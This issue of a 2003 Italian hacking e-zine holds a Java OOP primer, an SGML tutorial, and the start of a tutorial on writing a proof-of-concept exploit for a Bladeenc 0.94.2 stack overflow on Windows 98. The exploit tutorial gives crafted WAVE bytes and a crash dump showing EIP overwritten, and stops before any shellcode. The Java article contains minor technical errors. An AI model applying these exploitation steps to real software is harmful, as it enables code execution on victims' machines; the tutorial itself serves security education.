ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 | | 00P [warfare] 0x12/0x20 | +--------------------------------------------------------------------------+ | | | | | Introduzione alla programmazione ad oggetti (OOP) | | | | Intro: Questo articolo introduce la programmazione ad oggetti tramite | | il | | linguaggio Java, siccome non prevede la spiegazione della | | programmazione | | di base, si preferisce una minima conoscenza del Java o del C/C++ (dato | | che sono molto simili nella sintassi di base). | | | | Per introdurre la programmazione ad oggetti ho deciso di utilizzare uno | | dei linguaggi più diffusi, il Java. Java è un potente linguaggio di | | programmazione general-purpose, possiede un altissimo grado di | | portabilità ("Write Once, Run Anywhere") che consente di eseguire | | applicazioni indipendentemente dalla macchina o sistema operativo | | utilizzato. Prima di partire con la spiegazione ritengo opportuno, | | siccome questo articolo è dedicato a chi inizia a programmare "ad | | oggetti" (OOP - Object Oriented Programming), spiegare le differenze | | con | | la programmazione tradizionale. | | | | Di solito un programma è un'insieme di istruzioni eseguite in modo | | "procedurale", cioè il programma è un'insieme di procedure che vengono | | utilizzate per un determinato scopo. L'idea di base della OOP è quella | | di strutturare un programma in modo da sembrare il più vicino alla | | realtà. Ma che cos'è un oggetto? Un oggetto è "un oggetto reale"... per | | esempio una radio. Ad esempio di una radio abbiamo delle | | caratteristiche | | del tipo: | | | | Volume: 4 | | Canale: 105 | | Accesa: SI | | Colore: Nera | | Produttore: Pannasonic | | | | Abbiamo così una radio in particolare, ma quello che ora ci interessa è | | estrarre un modello generale valido per ogni radio, infatti tutte le | | radio hanno un volume, un canale su cui si sintonizza, è accesa | | (si/no), | | un colore e un produttore. Il modello generale dell'oggetto radio lo | | chiamiamo Classe Radio. Da questa classe "madre", possiamo creare | | (istanziare) oggetti particolari dando alle istanze della classe dei | | valori (volume=4, canale=105 ecc..). | | | | Oggetto: Radio | | | | +----------+-------+ | | |Attributi | Tipo | | | +----------+-------+ | | |Volume | Num. | | | +----------+-------+ | | |Canale | Num. | | | +----------+-------+ | | |Acceso | Bool | | | +----------+-------+ | | |Prod. | String| | | +----------+-------+ | | | | | | Ogni oggetto oltre ad avere degli attributi, può compiere anche delle | | azioni, nel nostro caso accendersi, cambiare canale, | | aumentare/diminuire | | il volume. Queste azioni vengono chiamate metodi. Per un buon stile di | | programmazione, di solito gli attributi vengono dichiarati in modo tale | | che non possono essere "visti" all'esterno della classe, ma per essere | | modificati bisogna richiamare dei metodi di visibilità più ampia che mi | | permettono di impostare i valori degli attributi. Le keywords "private" | | e "public" mi permettono di modificare lo scope (la visibilità) di un | | membro (metodo o attributo) della classe. Se io dichiaro un membro | | "private" posso richiamare il metodo solo nella stessa classe ma non al | | di fuori di essa, al contrario "public" mi consente di far richiamare | | il | | membro all'esterno della classe (esiste un'altro modificatore di | | visibilità, il "private" che vedremo poi, ma posso accennare che è una | | via di mezzo fra il private e il public). Vediamo ora un esempio molto | | semplice di programmazione di un esempio di classe in Java prendendo in | | considerazione la classe Radio. | | | | | | | | // nomefile: Radio.Java | | | | public class Radio{ | | private int volume; | | private int canale; | | private boolean accesa; | | | | // - Metodi - | | public void accendi(){ | | accesa = true; | | } | | | | public void spegni(){ | | accesa = false; | | } | | | | public void setVolume(int volume){ | | this.volume = volume; | | } | | | | public void setCanale(int canale){ | | this.canale = canale; | | } | | | | public void stampaRadio(){ | | System.out.print("Accesa: " + accesa + "\n"); | | System.out.print("Canale: " + canale + "\n"); | | System.out.print("Volume: " + volume + "\n"); | | } | | } | | | | // nomefile: provaRadio.Java | | | | public class provaRadio{ | | public static void main(String[] args){ | | Radio r0; | | r0 = new Radio(); | | r0.accendi(); | | r0.setVolume(4); | | r0.setCanale(105); | | r0.spegni(); | | } | | } | | | | Ok... vediamo di spiegare qualche riga di questo programmino che non fa | | nient'altro che creare un'istanza della classe radio e eseguire qualche | | "azione". Partiamo dall'inizio. - nomefile: Radio.Java - Dopo la prima | | riga in cui viene definita la visibilità della classe e il suo nome | | (che | | deve essere uguale al nome del file) abbiamo la dichiarazione degli | | attributi della radio in forma | | [] e subito dopo ci sono i metodi in forma | | []. Il programma non dovrebbe essere | | di | | difficile comprensione per chi ha un minimo di esperienza di | | programmazione quindi non mi dilungo molto e passo a parlare della | | keyword this che appare per la prima volta nel metodo setVolume. "this" | | fa riferimento all'oggetto corrente e viene utilizzato quando sorge | | ambiguità con nomi delle variabili. Prendendo in esame il metodo public | | void setVolume(int volume) possiamo notare che ho dichiarato un | | parametro con nome uguale a un attributo dichiarato in precedenza. Se | | io | | nell'istruzione precedente avessi scritto volume = volume; al posto di | | this.volume = volume non avrei impostato il valore della variabile | | d'istanza uguale al valore del parametro del metodo. Infatti il | | compilatore in questo modo, quando nel codice del metodo trova una | | variabile cerca il riferimento più vicino che in questo caso sarebbe | | stato quello del parametro del setVolume, quindi se come dicevo prima | | avessi fatto volume = volume; e gli avessi passato 3 a setVolume avrei | | ottenuto una cosa del genere 3 = 3 che non mi sarebbe servita a nulla. | | Con la parola chiave this, posta davanti al nome della variabile | | volume, | | faccio riferimento alla variabile d'istanza volume e quindi posso | | impostare il suo valore uguale al parametro passato. | | - nomefile: provaRadio.Java - La prima cosa che salta all'occhio è il | | fatto che abbiamo un'altra parola chiave prima del tipo del metodo main | | che è static. Per il momento "prendetela per buono" e passiamo a | | parlare | | di cosa fa il metodo main (che penso tutti sappiate di che metodo si | | tratta...). La prima istruzione è "Radio r0" che crea una variabile di | | nome r0 destinata a contenere un'indirizzo di memoria di una futura | | istanza della classe Radio che per ora punta a null, cioè non | | referenzia | | nulla. La seconda istruzione r0 = new Radio() crea un'istanza della | | classe Radio im memoria e la fa referenziare da r0, quindi ora r0 | | contiene un'indirizzo di memoria. Dopo ciò penso sia tutto chiaro, r0 | | che è un'oggetto puo' accedere ai metodi d'istanza e eseguire delle | | azioni dichiarate in precedenza. Ora apro una parentesi sui metodi per | | quanto riguarda i seguenti argomenti: "passaggio di argomenti per | | valore | | e per riferimento" e "overloading di metodi". Per quanto riguarda il | | passaggio di argomenti per valore e per riferimento possiamo dire che i | | metodi che ricevono dei parametri sostanzialmente ricevono due tipi di | | dati, primitivi (int, char, boolean, long,...) oppure possono riceve | | variabili contenenti indirizzi di memoria che si riferiscono a zone di | | memoria. Rispettivamente in Java nel primo caso si parla di passaggio | | per valore, nel senso che se io ho una situazione del tipo | | | | void volume(){ | | int n = 4; | | setVolume(n); | | } | | void setVolume(int volume){ | | volume++; | | } | | | | passo il parametro attuale (n) a setVolume che si crea una nuova | | variabile in memoria e copia il valore di n nella nuova variabile, | | questo comporta che le variazioni della nuova variabile non comportano | | nessun cambiamento alla variabile n (che nel nostro caso rimarrà sempre | | 4), ma ci permetterà di utilizzare il suo valore. Al contrario | | | | ... | | void metodo(){ | | Radio r0; | | r0 = new Radio(); | | setVolume(r0); | | r0.stampaRadio(); | | } | | void setVolume(Radio r){ | | r.setVolume(4); | | } | | ... | | // (si veda l'esempio della classe Radio per avre un'idea più completa) | | | | Passando il riferimento dell'istanza della classe Radio, ho una nuova | | variabile che punta alla stessa zona di memoria della precedente, il | | che | | comporta la modifica, nel nostro caso del volume, infatti se noi | | eseguiamo questo codice avremo una stampa a video che ci indichera che | | il volume della radio è 4 (passaggio di parametro per riferimento). | | L'overloading di metodi s'intende quando si dichiarano due o più metodi | | dello stesso tipo ma con un differente numero di parametri. Ad esempio | | dichiarando | | | | (1) void pippo(){return;} | | (2) void pippo(int par1){return;} | | se io richiamo il metodo pippo in questo modo pippo(); si riferirà ad | | (1) mentre se richiamo il metodo in questo modo pippo(3) a (2). | | | | E’ arrivato il momento di parlare della tanto famigerata keyword | | "static". In generale questa parola viene utilizzata per dichiarare i | | metodi e gli attributi di classe, cioè quei membri che quando vengono | | istanziati oggetti non si crea una copia in memoria per ognuno di essi, | | ma solo uno che viene utilizzato da tutti. E’ importante sapere però | | che | | i metodi statici non possono richiamare membri non-statici, altrimenti | | si otterrebbe un errore di compilazione. | | | | public class Conta{ | | static int n; | | ... | | public void inc(){ | | n++; | | } | | ... | | } | | | | con il seguente siamo in grado di tenere conto di un’indice che ci | | permette di creare una sola variabile di classe per Conta ed | | utilizzarla | | appunto per contare sfruttando il metodo inc(). | | | | ... | | Conta c = new Conta(); | | c.inc(); | | ... | | | | | | Un'ultimo esempio che mostrerò in questo articolo è la creazione di una | | lista. Una lista potrebbe essere vista come un'insieme di elementi | | collegati in serie fra di loro tramite un puntatore | | | | +---------+ +---------+ +---------+ | | | root |°| ----> | f0 |°|---->| f1 |°|----> ... -----> null | | +---------+ +---------+ +---------+ | | | | | | | | //file item.java | | | | public class Item{ | | private String nome; | | private String cognome; | | private String data_nascita; | | private String residenza; | | public static int x = 0; | | public void setItem(String nome, | | String cognome, String data_nascita, | | String residenza){ | | this.nome = nome; | | this.cognome = cognome; | | this.data_nascita = data_nascita; | | this.residenza = residenza; | | } | | | | public String getNome(){ | | return nome; | | } | | | | public String getCognome(){ | | return cognome; | | } | | | | public String getData_nascita(){ | | return data_nascita; | | } | | | | public String getResidenza(){ | | return residenza; | | } | | | | public void printItem(){ | | System.out.print("Nome:\t\t\t" + nome); | | System.out.print("\nCognome:\t\t" + cognome); | | System.out.print("\nData di nascita:\t" + data_nascita); | | System.out.print("\nResidenza:\t\t" + residenza + "\n"); | | } | | } | | | | | | | | //file items.java | | | | public class Items{ | | private Item itm = new Item(); | | public Items next; | | public static int conta = -1; | | private int id; | | Items(){ | | conta++; | | id = conta; | | } | | public int getId(){ | | return id; | | } | | public static int count(){ | | System.out.println(conta); | | return conta; | | } | | | | public void add(Item itm){ | | next = new Items(); | | this.itm.setItem(itm.getNome(), | | itm.getCognome(), itm.getData_nascita(), | | itm.getResidenza()); | | | | } | | | | public void print(){ | | System.out.println("\nID:" + this.id + ""); | | itm.printItem(); | | } | | } | | | | | | //file lista.java | | | | public class lista{ | | public static void main(String[] args){ | | Items i0 = new Items(); | | Item itm = new Item(); | | int i = 0; | | | | itm.setItem("Nome0", "Cognome0", "13/09/83", "Lucera"); | | i0.add(itm); | | | | itm.setItem("Nome1", " Cognome1", "23/04/82", "S.Severo"); | | i0.next.add(itm); | | | | itm.setItem("Nome2", " Cognome2", "07/10/84", "Foggia"); | | i0.next.next.add(itm); | | | | i0.print(); | | i0.next.print(); | | i0.next.next.print(); | | i0.count(); | | } | | } | | | | Ok.. siamo arrivati alla fine di questo articolo. Spero di essere stato | | abbastanza chiaro e se troverò altro tempo, spiegherò altri argomenti | | fondamentali dell’OOP tipo l’ereditarietà, polimorfismo. | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 | | C0S'E' SGML ?? PARLiAM0NE UN P0' [cyberdude] 0x13/0x20 | +--------------------------------------------------------------------------+ | | | | | -=|CYBERDUDE TUTORIAL|=- | | | | Ciao ragazzi... questo articolo che vi presento | | non è molto utile ai fini pratici,ma non è | | neanche molto difficile per quanto riguarda la | | comprensione del testo in se per se! | | A cosa serve? Bhe diciamo che conoscere qualcosa | | non fa mai male... ad esempio, quanti di voi | | sanno cosa voglia dire SGML? magari qualcuno tra | | voi avrà pur sentito questa parola parlando con | | altre persone e per non far vedere che non si | | sapeva un bel niente di tale argomento vi | | prestavate solo a muovere la testa dall'alto al | | basso per far cenno di aver capito... | | Vabbè ragazzi, non ci fate caso sto un pò esaurito | | vediamo invece di cosa parleremo in questo | | articolo | | | | - S - G - M - L - | | | | SGML (Standard Generalized Markup Language) è un | | metalinguaggio per definire linguaggi di tipo | | markup, ossia linguaggi basati su marcatori. | | L’HTML (HyperText Markup Language) è un esempio | | di linguaggio derivato da SGML. SGML fornisce una | | modalità di codifica dei documenti ipertestuali | | in modo da renderli indipendenti dalla macchina | | e dalla loro piattaforma software (purchè tali | | software siano compatibili con SGML) affinchè | | sia possibile leggere documenti creati da altri | | anche se questi sono stati realizzati con | | applicativi diversi dal nostro. | | | | SGML nacque principalmente per due motivi : | | - Codifica indipendente dalla piattaforma | | - Minimizzazione dei tempi di trasmissione | | | | Le principali caratteristiche di SGML sono: | | · Permette la creazione di linguaggi markup di | | tipo descrittivo | | · I suoi elementi e componenti sono organizzati | | in una struttura gerarchica con | | interconnessioni | | · Non specifica nessun tipo di convenzione del | | markup, quindi è aperto ad ogni possibile | | implementazione. | | · E’ completamente specificato a livello formale | | · Un documento SGML può essere facilmente letto | | sia da un computer sia da una persona a patto | | che entrambi conoscano lo standard. | | | | SGML utilizza dei codici (tags) per la | | descrizione delle varie parti di un documento non | | preoccupandosi di come questo sarà poi | | rappresentato (lasciando la scelta delle modalità | | di rappresentazione totalmente al software che | | riprodurrà il testo) ma soltanto di specificare | | che il testo tra le due tags deve essere | | considerato come un’unità indivisibile. | | Quindi si separa la rappresentazione della | | struttura del documento da tutte le istruzioni | | necessarie alla sua formattazione, permettendo a | | chi scrive un documento di concentrarsi soltanto | | sulla sua struttura e sul suo contenuto | | Un documento SGML può essere formato in alcune | | sue parti da altri documenti già esistenti (ad | | esempio può essere necessario un riferimento ad | | uno di essi). Per evitare di riscrivere | | completamente un documento esistente, che andrà | | poi a costituire una parte del nuovo documento, | | SGML prevede che esso possa essere richiamato | | all’interno del nuovo documento (con un metodo | | simile a quello dell’istruzione INCLUDE del | | linguaggio C) così da evitarne la riscrittura. | | | | Con SGML è possibile creare un proprio linguaggio | | e quindi un proprio set di tags, la cui struttura | | riflette quella dei documenti che dobbiamo creare | | Ogni linguaggio creato a partire da SGML | | utilizzerà la propria DTD (Document Type | | Definition), contenente il proprio set di tags | | necessario per la creazione dei propri documenti. | | La DTD definisce la sintassi del linguaggio, | | tutti gli attributi permessi per un particolare | | elemento, i dati che questo potrà contenere e le | | regole per il loro utilizzo. | | La descrizione formale della struttura di un | | documento avviene mediante la sua DTD, che è | | richiesta per ogni linguaggio creato a partire | | da SGML. Essa definisce la sintassi di un | | linguaggio markup specificandone le convenzioni | | utilizzate nei tags e tutti i possibili markup, | | definendo il significato ed il contesto in cui | | possono essere usati. | | Il markup descrittivo è separato dal testo da | | opportuni delimitatori di stringa (in HTML sono | | i simboli ‘<’ e ‘>’). La struttura dei documenti | | SGML è quindi facilmente comprensibile, e risulta | | evidente come sia semplice trasportare un | | documento SGML da una piattaforma all’altra. | | | | Un documento SGML consiste in un gruppo di | | elementi che sono: | | | | · Dichiarazione SGML | | · DTD ( Document Type Definition ) | | · Caratteristiche degli elementi della | | DTD che compongono i documenti | | · Riferimenti a files esterni (entità) | | · Sezioni opzionali | | | | | | Permette di alterare le convenzioni di markup | | rispetto a quelle base. Di solito le | | dichiarazioni SGML vengono poste in files | | esterni al documento stesso (contenuti in | | programmi detti browser) ed in quest’ultimo | | compare soltanto un riferimento alla | | dichiarazione per permettere al browser di | | interpretarlo correttamente. | | DTD: Caratteristiche | | E’ una descrizione formale della struttura di una | | particolare classe di documenti. Tipicamente le | | DTD sono usate per: | | | | · Stabilire le regole che governano la | | struttura dei documenti, definendo così | | il ‘documento ufficiale’. | | · Formalizzare le convenzioni di markup | | per permettere alle varie applicazioni | | di poter analizzare i documenti | | conformi a questa DTD. | | · Permettere agli analizzatori sintattici | | SGML di verificare se la struttura di | | un documento è conforme allo standard. | | · Dichiarare i tipi di dati esterni che | | possono comparire nei documenti (entità) | | | | In sostanza la DTD definisce tutti gli elementi | | di markup legali per un certo tipo di documento | | stabilendo tutte le possibili opzioni di questi | | markup ed il contesto in cui possono comparire. | | Il nome o la locazione della DTD che governa un | | certo documento conforme a SGML deve essere | | specificato nella dichiarazione all’inizio del | | documento stesso. Un esempio di prologo SGML per | | un documento HTML, la cui DTD è ‘IETF HTML 2.0 | | DTD’ è questo: | | | | | | | | Infatti il riferimento alla DTD usata deve essere | | fatto con la dichiarazione SGML ‘DOCTYPE’. | | | | Ogni elemento nella DTD viene realizzato sulla | | base della sua funzione nel documento SGML. I | | vari elementi formano un albero creato dalla | | combinazione di tutti gli elementi e dei loro | | corrispondenti data models. | | La sintassi di un elemento comprende il tag di | | inizio contenente il nome (GI – generic | | identifier), il contenuto da visualizzare e la | | terminazione mediante un tag di chiusura ed | | eventualmente degli attributi che caratterizzano | | tali elementi. | | | | Un attributo fornisce ad un elemento delle | | informazioni specifiche sul suo uso in un | | documento SGML, ossia fornisce una certa | | proprietà ad un elemento. I nomi degli attributi | | sono dichiarati nella DTD e sono opzionali per | | gli elementi cui si riferiscono. Un nome di | | attributo può essere usato da più elementi | | diversi e, in ogni caso, darà informazioni | | specifiche per l’elemento cui è associato e non | | comune agli altri. Ogni attributo ha un valore | | dichiarato che deve essere anch’esso definito | | nella DTD. | | In SGML (e quindi anche in HTML) la sintassi per | | gli attributi segue le seguenti regole: | | | | · Gli attributi possono comparire solo | | nei tags di inizio. | | · In un documento SGML ogni attributo ha | | il nome seguito dal segno ‘=’ e dal | | valore. | | · I valori assegnati agli attributi | | devono stare tra virgolette (es. | | nomeattributo= ’valoreattributo’). | | · Gli attributi possono comparire in | | qualsiasi ordine. | | | | Le Entità sono gruppi di dati immagazzinati in | | opportuni files che vengono usati per spezzare | | grossi files in parti più piccole e maneggevoli. | | Il loro utilizzo riguarda l’implementazione di | | dati uguali in documenti diversi, e la protezione | | dagli analizzatori sintattici di dati non SGML | | consentendo di includerli in un documento | | attraverso un riferimento. Sono anch’essi | | dichiarati nella DTD. | | Infine vi sono le sezioni opzionali usate per | | escludere opzionalmente parti del documento SGML | | | | Con questo si conclude il nostro articolo... | | Saluto tutti voi alla prossima!! | | | | Cyberdude >>> www.area91.da.ru | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L'ANG0L0 DEGLi EXPL0iT #09 - 01/06/2003 | | SCRiVERE UN EXPL0iT DiM0STRATiV0 [Auriemma Luigi] 0x14/0x20 | +--------------------------------------------------------------------------+ | | | | | ####################################################################### | | | | Titolo: Scrivere un exploit dimostrativo di esecuzione di codice su Win | | Autore: Auriemma Luigi | | e-mail: aluigi@pivx.com | | web: http://www.pivx.com/luigi/ | | | | ####################################################################### | | | | | | ============ | | Introduzione | | ============ | | | | | | Quello che vorrei descrivere in questo articolo, altro non e' che un | | modo (il piu' semplice possibile) per poter scrivere dei buoni proof | | of concept per quelle vulnerabilita' che permettono di eseguire codice | | su una macchina vittima. | | La vulnerabilita' a cui mi riferisco dovra' avere come requisiti: | | | | - possibilita' di utilizzare qualsiasi byte (quindi anche NULL bytes) | | - deve essere causata dalla lettura non controllata di bytes da un file | | | | L'ultimo requisito non e' indispensabile ma e' utile per sapere bene a | | cosa ci si riferisce in questo articolo perche' l'esempio che proporro' | | tratta proprio tale problema. | | | | Con il termine proof-of-concept intendo un exploit che dimostri che la | | vulnerabilita' esiste davvero e per fare cio' di solito si cerca di far | | eseguire al programma vulnerabile un'altra applicazione o (come uso io) | | far apparire un messaggio di testo od un MessageBox. | | | | Per maggiore comprensione riporto come esempio il bug di Bladeenc | | 0.94.2 (un encoder MP3 multipiattaforma) che ho scoperto e reso | | pubblico a fine Gennaio 2003, riferendomi esattamente alla versione | | i586 per Windows scaricabile da qui: | | http://www2.arnes.si/~mmilut/BEnc-0942-Win-i586.zip | | (l'MD5 di bladeenc.exe e' 957900f20fa2addff2c15d7ceb64b4cd) | | | | L'exploit verra' scritto per girare SOLO su Win98! Per gli altri | | sistemi operativi Microsoft la procedura e' la stessa, l'unica | | differenza riguarda gli indirizzi di memoria. | | | | Questo "tutorial" non e' stato scritto per persone che abbiano una | | determinata conoscenza su tali nozioni ma vuole essere abbastanza | | dettagliato e semplice in modo che chiunque sia minimamente interessato | | all'argomento non si perda in esempi troppo complicati o in exploit | | complessi che dipendono da vulnerabilita' ancor piu' complesse. | | Dopotutto questo genere di exploit di cui parlo e' semplicissimo da | | realizzare, quindi dopo la prima volta di solito ci vogliono pochi | | minuti per scrivere un buon dimostrativo senza perderci troppo la | | testa. | | Ho preferito essere molto dettagliato con gli esempi e le spiegazioni | | quindi il documento e' un po' lungo ma penso sia meglio qualche riga in | | piu' invece che tralasciare qualcosa. | | | | | | | | ####################################################################### | | | | | | ====================== | | Cosa bisogna conoscere | | ====================== | | | | | | Trattandosi di un exploit di esecuzione di codice un requisito | | fondamentale dovrebbe essere la conoscenza dell'Assembly, ma non c'e' | | bisogno di conoscerlo a fondo. Dopotuto noi vogliamo un exploit | | dimostrativo di buon effetto, in poco tempo e con poco lavoro mentale. | | | | I registri dei processori x86 che ci interessano al momento sono 2: | | - EIP (puntatore all'istruzione successiva): esso punta alla posizione | | del codice in memoria che dovremo eseguire. | | - ESP (puntatore allo stack): esso punta alla zona dati in memoria. | | | | L'EIP ci servira' perche' dovremo sovrascriverlo con l'indirizzo della | | zona di memoria in cui finira' il nostro codice che vorremo far | | eseguire sul computer vittima. | | L'ESP e' appunto il puntatore a questa zona di codice e tramite esso | | sapremo dove e' finito il nostro codice. | | | | Per l'esecuzione del codice invece ci appoggeremo alle funzioni usate | | dallo stesso programma, quindi anche senza conoscere bene l'Assembly ci | | bastera' soltanto copiare la parte di codice del programma che ci | | interessa (ad esempio quella di visualizzazione di una stringa) e | | cambiare gli indirizzi che usa con quelli a nostra disposizione (ad | | esempio l'indirizzo in memoria della stringa da visualizzare). | | Naturalmente l'ultima cosa sara' terminare il programma, ma tutto cio' | | verra' trattato nelle sezioni successive. | | | | | | | | ####################################################################### | | | | | | ============= | | Cosa ci serve | | ============= | | | | | | - Un disassemblatore: per sapere "cosa" fa' il programma. Esso e' utile | | soprattutto nel momento in cui vogliamo copiare una funzione gia' | | usata dal programma vulnerabile e riprodurla nel nostro codice. | | - Editor esadecimale: essenziale... serve per modificare il file che | | verra' letto dal programma vulnerabile | | - Calcolatrice esadecimale: calc di Windows e' perfetta | | - Bladeenc 0.94.2 i586 per Win: (guardare l'Introduzione) | | | | Opzionale: | | - Un debugger: per poter "seguire" il codice e soprattutto conoscere il | | valore dei registri x86 e soprattutto per poter scorrere la memoria | | | | Sia come disassemblatore che come debugger uso W32Dasm | | (http://http://members.home.net/w32dasm/) con cui mi trovo molto bene | | ed e' semplicissimo da usare. Da ricordare che e' SHAREWARE. | | Come editor esadecimale, uno vale l'altro (XVI32 e' molto comodo e lo | | si puo' trovare qui: http://www.chmaas.handshake.de) | | | | Comunque un debugger davvero eccellente e' il Turbo Debugger 5.5 di | | Borland che e' free e puo' essere prelevato direttamente dalla mia | | pagina personale: | | | | http://www.pivx.com/luigi/misc/td32-55.zip | | | | | | | | ####################################################################### | | | | | | ======================================= | | Primo passo (cosa non va' in Bladeenc?) | | ======================================= | | | | | | Il problema di Bladeenc e' nell'utilizzo di un numero intero con segno | | anziche' di uno unsigned per poter leggere i dati in un file. | | Cio' comporta che il programma dovra' leggere una porzione di dati ma | | questa "porzione" potrebbe essere negativa, ossia invece di leggere 80 | | bytes il programma dovra' leggerne -80. | | | | Il problema comunque non e' tanto in questa "svista" quanto nel non | | controllare che qualcosa e' andato storto in lettura. | | Nel file samplein.c di Bladeenc, alla funzione myFseek() linea 627 | | troveremo un bel "fread (dummy, offset, 1, fp);" che non viene | | controllato. | | Difatti la funzione fread() ritorna il numero di bytes che sono stati | | letti, e se essi sono 0 o minori dei bytes che si volevano leggere, | | vuol dire che la lettura e' fallita o che semplicemente il file e' | | terminato precocemente. | | In questo caso e' meglio segnalare l'errore all'utente e far terminare | | il programma immediatamente. | | | | Invece in tutto il programma non c'e' una sola funzione fread() (e | | non solo essa) che venga controllata, quindi se volete cercare altri | | bugs che comportino l'esecuzione di codice la cosa potrebbe rivelarsi | | molto piu' semplice e veloce di quanto pensiate. | | | | Insomma avremo in mano un programma che continuera' a leggere | | imperterrito dati dal file finche' uno di questi dati (una DWORD, ossia | | 32 bits) sovrascrivera' l'indirizzo di ritorno della funzione | | myFseek(). | | Quindi l'ultima riga ("return 0; }") invece di ritornare all'istruzione | | "fFmtChunkFound = TRUE;" che si trova alla riga 336 del file samplein.c | | subito dopo la chiamata a myFseek(), ci portera' dritti dritti verso | | l'indirizzo contenuto nella DWORD che e' stata letta dal file. | | | | Questo, grosso modo, e' cio' che accade per colpa di una lettura di | | troppo e per risparmiare qualche millisecondo di tempo CPU e qualche | | riga di codice. | | | | | | | | ####################################################################### | | | | | | ====================================== | | Secondo passo (preparare il file WAVE) | | ====================================== | | | | | | Siamo quasi pronti per iniziare, dobbiamo solo realizzare un file WAVE | | minimale che possa essere letto da Bladeenc. | | | | Questo e' quello che ho usato io: | | | | 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFFÌ...WAVEfmt | | 0000010: ffff ffff ÿÿÿÿ | | | | La struttura di riferimento dei file WAVE e' la seguente: | | | | Offset Bytes Funzione | | 0 4 GroupID: "RIFF" | | 4 4 Group size: (di solito filesize - 8) | | 8 4 Riff type: "WAVE" | | 12 4 ChunkID (il "cattivo" in questo caso e' "fmt ") | | 16 4 Chunk size: ossia l'"offset" usato in myFseek() | | ... (il resto non ci interessa) | | | | Come possiamo vedere l'unico parametro da cambiare e' il Chunk size del | | chunk "fmt " che e' proprio la variabile int offset usata dalla | | funzione vulnerabile myFseek(). | | | | Ora non ci resta che aggiungere un po' di bytes al nostro file | | possibilmente usando caratteri differenti che possano facilmente essere | | individuabili quando dovremo girare nella memoria dello stack: | | | | Ad esempio: | | | | 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFFÌ...WAVEfmt | | 0000010: ffff ffff 7175 6573 7465 2072 6967 6865 ÿÿÿÿqueste righe | | 0000020: 2073 6572 7669 7261 6e6e 6f20 6164 2069 serviranno ad i | | 0000030: 6465 6e74 6966 6963 6172 6520 6920 6279 dentificare i by | | 0000040: 7465 7320 6368 6520 6669 6e69 7261 6e6e tes che finirann | | 0000050: 6f20 6e65 6c6c 6f20 7374 6163 6b20 6564 o nello stack ed | | 0000060: 2069 6e20 7061 7274 6963 6f6c 6172 6520 in particolare | | 0000070: 6120 6368 6520 706f 7369 7a69 6f6e 6520 a che posizione | | 0000080: 7369 2074 726f 7661 206c 6120 4457 4f52 si trova la DWOR | | 0000090: 4420 6368 6520 736f 7672 6173 6372 6976 D che sovrascriv | | 00000a0: 6572 6127 206c 2745 4950 2c20 7475 7474 era' l'EIP, tutt | | 00000b0: 6f20 6368 6961 726f 3f90 9090 9090 9090 o chiaro?....... | | ....(aggiungete almeno 300 bytes, insomma abbondare non fa' mai male in | | questo caso) | | | | Personalmente quando ho dovuto creare il primo exploit per questo bug | | ho usato un normale file wave grande 5 Kb (difatti il Groupsize 0x12cc | | appartiene ad un file wave di 4820 Kb) che ho trovato casualmente nel | | mio Hard-disk. | | | | | | | | ####################################################################### | | | | | | ========================================================= | | Terzo passo (debugging: EIP ed ESP in memoria e sul file) | | ========================================================= | | | | | | Finalmente si inizia. | | Abbiamo una minima conoscenza di cosa va' storto in Bladeenc, abbiamo | | un file wave che fa' comparire il problema, ora cio' che ci manca sono | | gli indirizzi EIP ed ESP ed i loro "corrispettivi" nel file wave. | | | | IMPORTANTE: | | Questo esempio si basa SOLO su Windows98 in quanto l'ESP cambia da un | | sistema operativo all'altro (non ci sono differenze tra Win98 prima | | edizione e special edition). | | Per gli altri sistemi operativi Microsoft la procedura e' la stessa, | | l'unica differenza riguarda appunto gli indirizzi di memoria. | | | | Come e' stato detto nel "Primo Passo" nel file wave c'e' la DWORD che | | verra' usata come indirizzo di ritorno dalla funzion myFseek(). | | | | Eseguiamo il programma: | | | | bladeenc file.wav | | | | Se usiamo Win98 comparira' la classica schermata di errore critico con | | tanto di dump dei valori dei registri del processore. | | Eccoli tutti quanti: | | | | -------------------------------------------------------- | | BLADEENC ha provocato un errore di pagina non valida nel | | modulo in 0000:63636363. | | Registri: | | EAX=00000000 CS=0167 EIP=63636363 EFLGS=00010202 | | EBX=61616161 SS=016f ESP=0069e888 EBP=007c0770 | | ECX=00000057 DS=016f ESI=62626262 FS=120f | | EDX=000001c1 ES=016f EDI=004268a0 GS=0000 | | Byte all'indirizzo CS:EIP: | | | | Immagine dello stack: | | 64646464 65656565 66666666 67676767 | | 68686868 69696969 70707070 71717171 | | 72727272 73737373 74747474 75757575 | | 76767676 77777777 78787878 79797979 | | -------------------------------------------------------- | | | | Ottimo stavolta siamo stati abbastanza fortunati in quanto il nostro | | codice si trova proprio dove punta ESP, ma altre volte ci tocchera' | | spendere 2 minuti in piu' col debugger. | | | | Quello che ci interessa e': | | | | EIP=63636363 (in quanto io ho usato "cccc") | | ESP=0069e888 | | Immagine dello stack: 64646464 65656565 66666666 67676767... | | | | Ricordatevi che i processori x86 sono 32bit little-endian, quindi i | | caratteri che avete usato nel file, in memoria si trovano capovolti di | | 4 in 4 (ad esempio: "ciao" diventa "oaic", "1234" diventa "4321", | | "ciccione" diventa "ccicenoi" e cosi' via) | | | | L'EIP ci fa' capire dove si trovano i bytes interessati nel nostro file | | wave, ossia all'indirizzo 0x00000130 (in quanto proprio a quella | | posizione c'e' "cccc"). | | ESP, da come si puo' vedere, punta direttamente ai bytes del nostro | | file che sono finiti in memoria, nulla di piu' facile 8-) | | Tali bytes iniziano dall'offset 0x00000134 del nostro file wave, | | proprio subito dopo l'EIP. | | | | Ricapitolando, ora abbiamo: EIP, ESP e posizione nel file del codice | | dimostrativo da eseguire. | | | | | | | | ####################################################################### | | | | | | ======================================= | | Se il debugger e' d'obbligo (opzionale) | | ======================================= | | | | | | Nel caso specifico di Bladeenc non e' necessario usare un debugger in | | quanto la semplice schermata di errore critico di Win98 ha gia' tutto | | cio' che ci serve. | | Se invece nell'immagine dello stack non riconosciamo nessuno dei bytes | | che abbiamo nel file o piu' semplicemente vogliamo fare un lavoro fatto | | bene e controllare che tutto sia a posto, dobbiamo avviare il nostro | | debugger preferito o comunque poter vedere e scorrere la memoria che e' | | intorno allo stack pointer (0x0069e888 appunto) | | | | Usando Wdasm32 non dovremo far nient'altro che 